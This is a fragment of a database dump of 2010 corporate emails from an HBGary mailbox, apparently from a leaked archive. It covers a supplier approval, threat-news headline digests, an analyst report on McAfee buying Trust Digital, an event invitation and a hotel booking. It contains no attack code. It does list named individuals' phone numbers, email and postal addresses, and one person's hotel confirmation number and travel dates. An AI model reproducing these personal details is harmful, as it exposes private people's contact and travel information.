Certs package to this company.  Thank you!  J\r\n>\r\n> Aaron Barr [aaron@hbgary.com]\r\n> Ted Vera [ted@hbgary.com]\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n> _____________________________________________\r\n> From: Bradley, Barbara L.\r\n> Sent: Monday, May 24, 2010 3:19 PM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Supplier 452174 Approved\r\n>\r\n>\r\n> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>\r\n> Barbara Bradley\r\n> Calibration Recall System Coordinator\r\n> Supplier Quality Administrator\r\n> General Dynamics - Cyber Systems-IS\r\n> 7-9 Vreeland Road\r\n> Florham Park, NJ  07932\r\n> Phone - 973-765-5584\r\n> Fax - 973-765-5952\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4364,'aaron_hbgary_com/4364.html'),(6784,'2010-05-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004890.M488377P14101Q1639.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Wed)','See the story about IBM.  \r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, May 26, 2010 6:42 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\nThe moral of today\'s news articles: employees should leave free USB thumb\r\ndrives alone; ensure that default passwords are changed (e.g.\r\nWindows accounts; network hardware devices):\r\n\r\n1.      Security forecast: High chance of \'shadow\' clouds\r\n\r\n2.      Warnings made of vulnerability in the 3Com Intelligent\r\nManagement Centre that could result in lack of consumer control\r\n\r\n3.      Looking for code work? Write fake anti-virus scripts\r\n\r\n4.      Four-year-old rootkit tops the charts of PC threats\r\n\r\n5.      IBM hands out infected USB drives at security conference \r\n\r\n6.      Vulnerability in iPhone data encryption \r\n\r\n7.      ClamAV 0.96.1 fixes DoS vulnerabilities \r\n\r\n8.      Metasploit 3.4 with extended brute force support \r\n\r\n9.      Gang called Avalanche blamed for most phishing attacks\r\n\r\n10.     VA to secure 50,000 networked medical devices\r\n\r\n11.     New Facebook clickjacking attack\r\n\r\n12.     USAF Transforms 3,000 Officers to Cyberspace Security Experts\r\n\r\n13.     Hardware Lockdown Initiative Cracks Down On Cloning,\r\nCounterfeiting \r\n\r\n14.     Default Database Passwords Still In Use \r\n\r\n15.     Lifelock worries after employee data leaked to Web\r\n\r\n16.     Bank, customer settle suit over $800,000 cybertheft\r\n\r\n',9751,'aaron_hbgary_com/9751.html'),(6785,'2010-05-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004894.M273788P14101Q1640.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Mon)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, May 25, 2010 7:07 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Mon)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Mon)\r\n\r\nToday\'s articles:\r\n\r\n1.      Facebook gives users\' names to advertisers\r\n\r\n2.      Google hit with class-action lawsuit over Wi-Fi snooping\r\n\r\n3.      New Twitter worm abuses iPhone app news\r\n\r\n4.      Over 4,500 logins uploaded to open source content site\r\n\r\n5.      School spy program used on students contains hacker-friendly\r\nsecurity hole \r\n\r\n6.      Malware is South America\'s new growth industry\r\n\r\n7.      Iranian Cyber Army Second Largest in the World, Claims Iranian\r\nCommander \r\n\r\n8.      Microsoft smacks patch-blocking rootkit second time\r\n\r\n9.      Poisoned PDFs? Here\'s Your Antidote\r\n\r\n10.     Rogue Facebook apps launch \'beach babes\' attack\r\n\r\n11.     New Threat For Wireless Networks: Typhoid Adware\r\n\r\n12.     Revisiting the Eleonore Exploit Kit\r\n\r\n13.     House panel approves bipartisan bill to overhaul cybersecurity\r\n\r\n14.     Changing botnets, spam & software vulnerabilities\r\n\r\n15.     Facebook, MySpace Confront Privacy Loophole\r\n\r\n16.     Bugs and Fixes: Security Woes for Windows, McAfee, Firefox\r\n\r\n',11870,'aaron_hbgary_com/11870.html'),(6786,'2010-05-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004898.M605621P14101Q1641.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','See price for Botnet PER HOUR?\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, May 26, 2010 11:07 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\nToday\'s articles:\r\n\r\n*       Botnets for hire at Â£5.99 per hour\r\n\r\n*       Google introduces SSL encrypted search engine, as Hotmail moves to\r\nprotect users further\r\n\r\n*       Facebook users suffer second \'sexy\' malware attack\r\n\r\n*       Microsoft smacks patch-blocking rootkit second time\r\n\r\n*       Bugnets could spy on you via mobile devices\r\n\r\n*       New threat for wireless networks: Typhoid adware\r\n\r\n*       Swedish online network cyber attacked\r\n\r\n*       BitDefender impersonated by rogue antivirus\r\n\r\n*       P2P networks a treasure trove of leaked health care data, study\r\nfinds\r\n\r\n*       Remote wiping thwarts secret service\r\n\r\n*       Five Ways To (Physically) Hack A Data Center\r\n\r\n*       Business continuity, not data breaches, among top concerns for tech\r\nfirms\r\n\r\n*       Apple Safari \'Carpet Bomb\' Flaw Remains Unfixed Two Years Later\r\n\r\n*       Very interesting new type of a phishing attack using tabs\r\n\r\n\r\n\r\n',12863,'aaron_hbgary_com/12863.html'),(6787,'2010-05-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004900.M885869P14101Q1642.eml','\"Barr Aaron\" <aaron@hbgary.com>','Desks','\r\nGot the desks this morning\r\n\r\n',1839,'aaron_hbgary_com/1839.html'),(6788,'2010-05-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004903.M357779P14101Q1643.eml','\"Barr Aaron\" <aaron@hbgary.com>','Desks','Using the 3rd one as a coffee station / donut table.\r\n\r\n',15905,'aaron_hbgary_com/15905.html'),(6789,'2010-05-27','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004903.M654032P14101Q1644.eml','aaron@hbgary.com','Mil-Gov Career Transition Seminar - Jun 14, 6pm, Doubletree Crystal City','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Jun \r\n        14 (Mon) - Mil/Gov Career Transition Seminar &amp; Dinner\r\n        Successfully \r\n        Transitioning from Active to Retired (STAR)\r\n      The \r\n        STAR Program is AFCEA NOVA\'s seminar series for Military/Government employees \r\n        that are in the process of career transition. This after-work event is \r\n        for our uniformed and government members who are either retiring or leaving \r\n        government service for the civilian sector in the next 12-18 months, and \r\n        is intended to build upon the information provided by the Government Transition \r\n        Assistance Programs. The event will offer attendees the opportunity to \r\n        gain insights and lessons learned from others who have successfully made \r\n        the transition. It also offers networking opportunities with program managers, \r\n        hiring managers, and staffing professionals.\r\n       \r\n        Pre-registration is Necessary, as dinner will \r\n        be served.\r\n      Individual \r\n        Attendees, Register Online Now&nbsp;(Individual Registration \r\n        Open only to transitioning gov/mil employees)\r\n      Sponsor \r\n        a Table at the Seminar\r\n      \r\n      \r\n         \r\n          SPEAKERS\r\n            \r\n              Diane \r\n                Bellegarde (USA Veteran)\r\n                Vice President of Operations, Worldwide Information Network Systems \r\n                (WINS) \r\n            \r\n            \r\n              COL \r\n                Dave Scarbalis (USA, Ret)\r\n                Vice President, DoD Accounts, SNVC\r\n            \r\n            \r\n               \r\n                LTC Mike Perez (USA, Ret)\r\n                BAE\r\n            \r\n            \r\n              Additional \r\n                Speakers announced shortly\r\n            \r\n             WHY \r\n              ATTEND THE STAR CAREER TRANSITION EVENT?\r\n            Are \r\n              you preparing to retire or transition from uniformed service/federal \r\n              government? Looking for the right position for the next phase of \r\n              our life?\r\n            \r\n               \r\n                Hear from seasoned professionals who recently went through the \r\n                same transition -- they\'ll share what worked, and what challenges \r\n                they faced\r\n              Hear \r\n                from industry executives on what they value -- in employees, on \r\n                resumes, in interviews\r\n              Hear \r\n                the things you should know about the job hunting process, but \r\n                no one has bothered to tell you\r\n               \r\n                Hear information on how to find out about open positions -- opportunities \r\n                available now and in the near future\r\n              Share \r\n                resumes and business cards with decision makers and hiring managers \r\n                from our Event Sponsors\r\n            \r\n            SPONSORSHIP \r\n              &amp; BENEFITS - Corporate Table Sponsor - $350\r\n            \r\n               \r\n                 \r\n                Table sponsorship = 2 attendees from your company &amp; up to \r\n                8 government guests or VIPs placed randomly by AFCEA NOVA\r\n              Logo \r\n                on event website\r\n               \r\n                Logo on event marketing emails\r\n               \r\n                Logo on event program\r\n               \r\n                Great networking with peers and officers in the career transition \r\n                market\r\n              Dinner \r\n                included\r\n              Register \r\n                to Sponsor a Table at the Seminar\r\n            \r\n             Details\r\n            WHEN:\r\n              Monday, \r\n              June 14, 2010\r\n              6:00pm - 9:00pm - Networking &amp; Cocktails, Panel Program &amp; \r\n              Dinner\r\n            \r\n              WHERE:\r\n              Windows Over Washington Restaurant\r\n              Doubletree Hotel, Crystal City\r\n              300 Army Navy Dr., Arlington, VA 22202\r\n              (One floor below the Skydome Lounge &quot;spinning&quot; bar, with \r\n              the same breathtaking view)\r\n             COST:\r\n            \r\n               \r\n                Transitioning Government / Military -- $20\r\n              Industry \r\n                Sponsor -- included as part of your sponsorship (but \r\n                we do need you to pre-register online) \r\n            \r\n            REGISTRATION:\r\n            Individual \r\n              Attendees, Register Online Now&nbsp;(Individual Registration \r\n              Open only to transitioning gov/mil employees &amp; employees of \r\n              table sponsors)\r\n            Sponsor \r\n              a Table at the Seminar\r\n            It \r\n              is not necessary to be a member of AFCEA to attend the Mil/Gov Career \r\n              Transition Seminar... But once you come to an event, we think you\'ll \r\n              want to join us! \r\n              \r\n        \r\n         \r\n          &nbsp;\r\n        \r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    Young AFCEANS Mentor-Protege Night - &quot;Career Progression&quot;\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Small Business Breakfast - DISA GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      2nd Annual \r\n                      Warfighter Support AGENCIES IT DAY\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',5499,'aaron_hbgary_com/5499.html'),(6790,'2010-05-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004903.M883924P14101Q1645.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','McAfee\'s Acquisition of Trust Digital Report by 451 Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMcAfee steps into mobile device management with\r\nTrust Digital acquisition\r\n\r\nAnalyst:\r\nChris\r\nHazelton, Paul\r\nRoberts\r\nDate: 25 May 2010\r\nEmail This Report: to\r\nColleagues »» / to\r\nyourself »»\r\n451 Report Folder: File\r\nreport »» / View\r\nmy folder »» \r\n\r\nAcquirer\r\n\r\nMcAfee\r\n\r\nTarget\r\n\r\nTrust Digital\r\n\r\nSubsector\r\n\r\nMobile device management\r\n\r\nDeal\r\nvalue\r\n\r\nNot disclosed\r\n\r\nDate\r\nannounced\r\n\r\nMay 25, 2010\r\n\r\nClosing\r\ndate\r\n\r\nExpected June 30, 2010\r\n\r\nAdvisers\r\n\r\nArchPoint Partners (Trust\r\nDigital)\r\n\r\nMost leading IT security vendors have offered &#8211; at\r\nleast nominally &#8211; mobile device security products for some time now. You\r\ncan thank a microburst of concern (much of it vendor-driven FUD) in the early\r\n2000s about the coming tide of SMS worms and malware capable of crossing the\r\nland bridge between Windows and WinMobile. Alas, that tide never came. Back\r\nthen, the diversity of mobile operating systems and the scarcity of valuable\r\ninfo on mobile devices made mobile handsets unpalatable to the bad guys,\r\nespecially compared to easy-to-own, Internet-connected Windows devices capable\r\nof conducting online commerce and storing reams of personal information.\r\n\r\nAfter a flurry of activity and marketing hype, the moveable\r\nfeast that is the anti-malware industry passed along, and vendors refocused on\r\nsolving actual problems &#8211; like Web-based attacks. That put mobile device\r\nsecurity on the back burner. Today, mobile security offerings from leading\r\nanti-malware providers still bear the scars from that earlier gold rush:\r\nweirdly skewed toward management and security for passé platforms like\r\nWinMobile and Symbian, even as consumers club each other to get their hands\r\non iPads, late-model iPhones and the newest phones using Google\'s (Nasdaq:\r\nGOOG) Android OS. \r\n\r\nThe challenge this poses is clear enough to understand:\r\nemployees today are coming to work with their own smartphones, connecting them\r\nto enterprise WLANs and using them in much the same way that they use their\r\ndesktop or laptop PCs &#8211; surfing the Web, keeping up with personal or work\r\nemail, instant messaging, reading documents, playing games and even connecting\r\nto sensitive back-office applications via public-facing Web interfaces or by\r\n\'VPNing\' to the corporate LAN. Of course, most workers are also connecting\r\nthese devices directly to their work computers to synch personal information\r\nmanagement data, transfer documents or just get a charge for their battery. \r\n\r\nThe problem is that, unlike their laptop or desktop PCs,\r\ntheir employers have little to no visibility into this shadow-computing\r\ninfrastructure and few options for enforcing proper behavior either within or\r\noutside the corporate firewall. But that\'s starting to change. Recent years\r\nhave brought a mini wave of mobile device security M&amp;A &#8211; most focused\r\non data encryption. This includes Check Point\'s (Nasdaq:\r\nCHKP) acquisition of Pointsec, Sophos\' purchase of Utimaco\r\nand, most recently, Symantec\'s (Nasdaq:\r\nSYMC) pickup of GuardianEdge Technologies. \r\n\r\nNow, McAfee (NYSE: MFE)\r\nhas acquired Trust Digital, shifting the focus from encryption to mobile\r\ndevice management. However, this space is still in its infancy, and the signs\r\nare that Trust Digital &#8211; an early entrant &#8211; was struggling to grow.\r\nDoes this deal signal quick trips to the altar for other players in the sector?\r\n\r\n\r\nDeal details\r\n\r\nMcAfee says it will acquire McLean, Virginia-based Trust\r\nDigital for an undisclosed amount. The acquirer expects the deal to close by\r\nthe end of June. Trust Digital CEO Mark Shull will lead McAfee\'s mobile\r\nstrategy, reporting to Todd Gebhart, McAfee\'s General Manager of Mobile,\r\nConsumer and SMB. McAfee will keep all of Trust Digital\'s products and incorporate\r\nthem into its own line of security products. We expect a smooth integration,\r\nparticularly since the two companies live down the road from each other outside\r\nof Washington DC. ArchPoint Partners advised Trust Digital. \r\n\r\nTarget profile\r\n\r\nFounded in 2004, Trust Digital has 45 employees, of which 30\r\nare software engineers. Focusing on mobile-device security, device management\r\nand end-user support, the vendor has 125 enterprise and government\r\norganizations as customers, totaling more than 70,000 seats. The largest\r\ndeployment is 5,000 users, but Trust Digital has stated that the average size\r\nof its deployments was up significantly in 2009 to more than 3,000. \r\n\r\nTrust Digital was an early proponent of iPhone in the\r\nenterprise, and historically has focused on security. The vendor offered its\r\nown line of management and security products for Windows Mobile devices,\r\ntargeting US government agencies. While the number of Trust Digital\'s customers\r\nhas remained flat for several years, we attribute this to a migration away from\r\nWindows Mobile to iPhone deployments. Like SAP\'s (NYSE: SAP)\r\nrecent\r\npickup of Sybase (NYSE: SY), this is an acquisition betting on the\r\nfuture of enterprise mobility, and part of that wager is McAfee\'s bullish view\r\nof Apple\'s (Nasdaq: AAPL) iPad. All of the management\r\ncapabilities that Trust Digital has for iPhone are available for iPad.\r\n\r\nThe target raised $30m in venture funding from Summerhill\r\nVenture Partners, TD Capital, Fairhaven Capital Partners, Core\r\nCapital Partners, Avansis Ventures, MMV Financial and Square\r\n1 Bank. Trust Digital closed its series C round of funding, raising $14.5m,\r\nin November 2008. \r\n\r\nDeal rationale\r\n\r\nMcAfee\'s own offerings in the mobile enterprise market have\r\ntraditionally focused on Windows Mobile, but with the purchase of Trust Digital\r\nthe acquirer gains the ability to manage iPhone, Android, Symbian, and Palm\r\nInc\'s (Nasdaq: PALM) webOS (now\r\npart of Hewlett-Packard (NYSE: HPQ)).\r\nAlso, the mobile malware threat has yet to significantly impact the smartphone\r\nmarket &#8211; the real threat is from data leakage and theft. Trust Digital\r\ncan enforce security policies that many corporate IT departments require.\r\nMobile deployments historically have been corporate-liable devices issued by\r\ncompanies that run on one mobile OS. The consumerization of enterprise\r\nmobility, where employees are willing to pay for their own devices and even\r\nservice to use the device of their choice, has put pressure on IT staff to be\r\nable to manage multiple device platforms. The deployment of BlackBerry devices\r\nstill dominates, and with it Research In Motion\'s (Nasdaq:\r\nRIMM) BlackBerry Enterprise Server; there is no equivalent for iPhone and\r\nAndroid devices. Trust Digital aimed to be that designated management service\r\nfor these smartphones. \r\n\r\nManagement of iPhone is the key driver of this deal, with an\r\neye toward iPad in the enterprise. Trust Digital\'s Enterprise Mobility\r\nManagement (EMM) software remotely provisions iPhone &#8211; allowing for the\r\nquick setup of email, network and security profiles. The company\'s network\r\naccess control performs a compliance check on the device with each data\r\nrequest. This means that any iPhone or iPad that has not installed the necessary\r\nconfiguration file or is out of compliance with EMM settings will not have\r\naccess to enterprise data such as email or customer data. Trust Digital\'s\r\ncompliance check paired with lockable device profiles on iPhone and iPad means\r\nthat IT staff can make settings into enforceable mobile policies. EMM can also\r\nmandate the use of passwords, enforcing password length, complexity, age,\r\nhistory and number of attempts. In addition, EMM can enforce Apple\'s device\r\nrestrictions governing the use of iPhone\'s camera using explicit media, the\r\nSafari browser and the native YouTube application, as well as access to\r\niTunes for content and applications. \r\n\r\nCompetition\r\n\r\nMcAfee says it looked at all of the private companies in the\r\ndevice management space, and Trust Digital\'s background in security played a\r\nkey role in its decision. These other candidates comprise the list of\r\ncompetition for McAfee\'s mobility strategy going forward. MobileIron\r\nalso supports iPhone and iPad in the enterprise; the company offers expense\r\nmanagement but is primarily focused on detecting and securing consumer-owned\r\ndevices connecting to enterprise networks. Good Technology has\r\nconcentrated heavily on iPhone in the enterprise, so much so that it has\r\nshifted the focus of Visto, which\r\nacquired the device management vendor from Motorola (NYSE: MOT).\r\nAnother contender, AirWatch, provides robust device management\r\ncapabilities for multiple devices. AirWatch offers wireless network monitoring,\r\nbut increasingly focuses on managing mobile devices for companies that are\r\nheavily dependent on mobility. \r\n\r\nOutside of McAfee\'s shopping list are larger players that\r\nalso provide management tools for mobile devices. Symantec, Sophos, Trend\r\nMicro, Kaspersky Lab, and F-Secure (FRA:\r\nDTV.F) have all focused on mobility in terms of anti-malware and device\r\nwipe. But as we mentioned, their efforts have revolved around Windows Mobile\r\nand Symbian. RIM provides an extensive premises and hosted offering with its\r\nBlackBerry Enterprise Server. This is the gold standard for enterprise device\r\nmanagement, but only supports BlackBerry smartphones. SAP\'s acquisition of\r\nSybase was driven in large part by mobile applications, but Sybase\'s Afaria\r\nmobile device management supports multiple devices, including iPhone. Device\r\nmanagement will be tightly bundled with any mobile offering from SAP going\r\nforward.\r\n\r\nFinally, there has been a lot of activity around end-point\r\nsecurity with Sophos buying Utimaco, Symantec snagging GuardianEdge and Check\r\nPoint gobbling up Pointsec. Credant Technologies is still out there on\r\nits own. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15448,'aaron_hbgary_com/15448.html'),(6791,'2010-05-27','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004904.M170963P14101Q1646.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Your InterContinental (R) Reservation Confirmation  - MIAMI, FL, UNITED STATES: 63597541','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Ted,\r\n\r\n&nbsp;\r\n\r\nI have changed you dates for the intercontinental Hotel\r\nrequested by Penny.  Please contact me if you would like to change dates for\r\nthis hotel.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: InterContinental\r\nReservations [mailto:Reservations@InterContinental.com] \r\nSent: Thursday, May 27, 2010 2:04 PM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Your InterContinental (R) Reservation Confirmation - MIAMI, FL,\r\nUNITED STATES: 63597541\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Modify/Cancel\r\n  Reservation \r\n  View\r\n  All Reservations \r\n  Make\r\n  Another Reservation \r\n  View\r\n  Account \r\n  \r\n  \r\n  Thank you for staying at the\r\n  InterContinental MIAMI. \r\n  \r\n  \r\n  Amenities\r\n  Near Beach \r\n  Outdoor Pool \r\n  Sauna \r\n  Dedicated Lounge \r\n  Iron / Ironing Board \r\n  \r\n  \r\n  Attractions\r\n  South Beach \r\n  Port of Miami \r\n  American Airlines Arena \r\n  Parrot Jungle \r\n  Seaquarium \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Thank\r\n    you for choosing InterContinental. Here is your reservation information. \r\n    \r\n   \r\n   \r\n    \r\n    Reservation\r\n    Questions \r\n    \r\n   \r\n   \r\n    \r\n    Reservation Information \r\n    \r\n   \r\n   \r\n    \r\n    Your\r\n    confirmation number is 63597541\r\n    Please use your confirmation number to reference your reservation.\r\n    \r\n    Guest Name:\r\n    AARON BARR\r\n    \r\n    Additional Guests:\r\n    \r\n    \r\n    No additional guests.\r\n    \r\n   \r\n   \r\n    \r\n    Check-In:\r\n    Wed 16 Jun 2010 at 04:00 PM \r\n    Check-Out: Fri 18 Jun 2010 at 12:00 PM \r\n    \r\n    \r\n    \r\n    \r\n    View/Modify/Cancel\r\n    Reservation \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Hotel Info \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      MIAMI\r\n      InterContinental\r\n      100 CHOPIN PLAZA \r\n      MIAMI , FL 33131 \r\n      1-305-5771000 \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    Helpful Links\r\n    Local\r\n    Maps \r\n    Find\r\n    Attractions\r\n    Make\r\n    Another Reservation \r\n    \r\n   \r\n   \r\n    \r\n    Driving Directions: \r\n    FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT\r\n    2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH\r\n    (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH. \r\n    \r\n   \r\n   \r\n    \r\n    Room/Rate Information \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Rate\r\n      Type:\r\n      \r\n      \r\n      FIRST\r\n      Conf - PH \r\n      \r\n     \r\n     \r\n      \r\n      Group\r\n      Details:\r\n      \r\n      \r\n      ANYONE\r\n      CAN BOOK RESERVATIONS \r\n      \r\n     \r\n     \r\n      \r\n      Room\r\n      Type:\r\n      \r\n      \r\n      STANDARD\r\n      ROOM - 2 PERSON(S) MAX PER ROOM \r\n      BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE\r\n      ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT\r\n      A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD\r\n      SAFE DEPOSIT BOX \r\n      \r\n     \r\n     \r\n      \r\n      Smoking\r\n      Preference: \r\n      \r\n      \r\n      No\r\n      Preference \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Nights:\r\n      \r\n      \r\n      2\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Rooms:\r\n      \r\n      \r\n      1\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Person(s):\r\n      \r\n      \r\n      1\r\n      Adult(s), 0 Child(ren)\r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Wed\r\n        16 Jun 2010 - Fri 18 Jun 2010 \r\n        \r\n        \r\n        $189.00 (USD) \r\n        per night (1 room(s)) \r\n        \r\n       \r\n       \r\n        \r\n        Total\r\n        Tax&nbsp;† &nbsp; \r\n        \r\n        \r\n        $49.14 (USD) \r\n        \r\n       \r\n       \r\n        \r\n        Estimated\r\n        Total Price&nbsp;† 